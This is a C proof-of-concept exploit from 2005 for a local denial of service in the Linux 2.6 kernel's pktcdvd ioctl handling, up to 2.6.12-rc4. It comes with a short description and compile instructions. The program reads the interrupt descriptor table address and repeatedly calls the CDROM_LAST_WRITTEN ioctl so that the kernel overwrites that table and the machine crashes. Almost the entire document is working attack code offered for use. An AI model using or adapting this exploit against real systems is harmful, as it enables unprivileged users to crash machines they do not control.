ioctl_by_bdev() local denial of service exploit for the Linux kernel 2.6 series up to and including 2.6.12-rc4.
fb89c09dfca6679f2589ee96d8fd1a59213e35156d27262f474e1f6bcba2377c
/* pktcdvd_dos.c proof-of-concept
* This is only a lame POC which will crash the machine, no root shell here.
* --- alert7
* 2005-5-15
* the vulnerability in 2.6 up to and including 2.6.12-rc4
*
* gcc -o pktcdvd_dos pktcdvd_dos.c
*
* NOTE: require user can read pktcdvd block device
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <paths.h>
#include <grp.h>
#include <setjmp.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <sys/ucontext.h>
#include <sys/wait.h>
#include <asm/ldt.h>
#include <asm/page.h>
#include <asm/segment.h>
#include <linux/unistd.h>
#include <linux/linkage.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <linux/sysctl.h>
#include <linux/cdrom.h>
#define __NR_sys_ioctl __NR_ioctl
#define PKTCDVDDEVICE "/dev/hdc"
static inline _syscall3(int, sys_ioctl, int ,fd,int, cmd,unsigned long, arg);
struct idtr {
unsigned short limit;
unsigned int base;
} __attribute__ ((packed));
unsigned int get_addr_idt() {
struct idtr idtr;
asm("sidt %0" : "=m" (idtr));
return idtr.base;
}
struct desc_struct {
unsigned long a,b;
};
int main(int argc,char **argv)
{
unsigned int ptr_idt;
int iret ;
int fd;
printf("[++]user stack addr %p \n",&ptr_idt);
if ( ( (unsigned long )&ptr_idt >>24)==0xfe){
printf("[--]this kernel patched 4g/4g patch,no vulnerability!\n");
return -1;
}
ptr_idt=get_addr_idt();
printf("[++]IDT Addr %p \n",ptr_idt);
fd = open(PKTCDVDDEVICE,O_RDONLY);
if (fd ==-1)
{
printf("[--]");
fflush(stdout);
perror("open");
return -1;
}
unsigned long WriteTo ;
if ( (ptr_idt>>24)==0xc0){
printf("[++]this OS in Real Linux\n");
WriteTo= ptr_idt;
}else{
printf("[++]this OS maybe in VMWARE\n");
WriteTo = 0xc0100000;
}
printf("[++]call sys_ioctl will crash machine\n");
fflush(stdout);
int loopi;
for (loopi=0;loopi<0x100000 ;loopi++ )
{
printf("[++]will write data at 0x%x\n",WriteTo+loopi*4);
fflush(stdout);
iret = sys_ioctl(fd,
CDROM_LAST_WRITTEN,
WriteTo+loopi*4);
if (iret ==-1)
{
printf("[--]");
fflush(stdout);
perror("ioctl");
//if in VMWARE ,rewrite ptr_idt adress will failed
printf("[--]still aliving\n");
close(fd);
return -1;
}
}
close(fd);
return 0;
}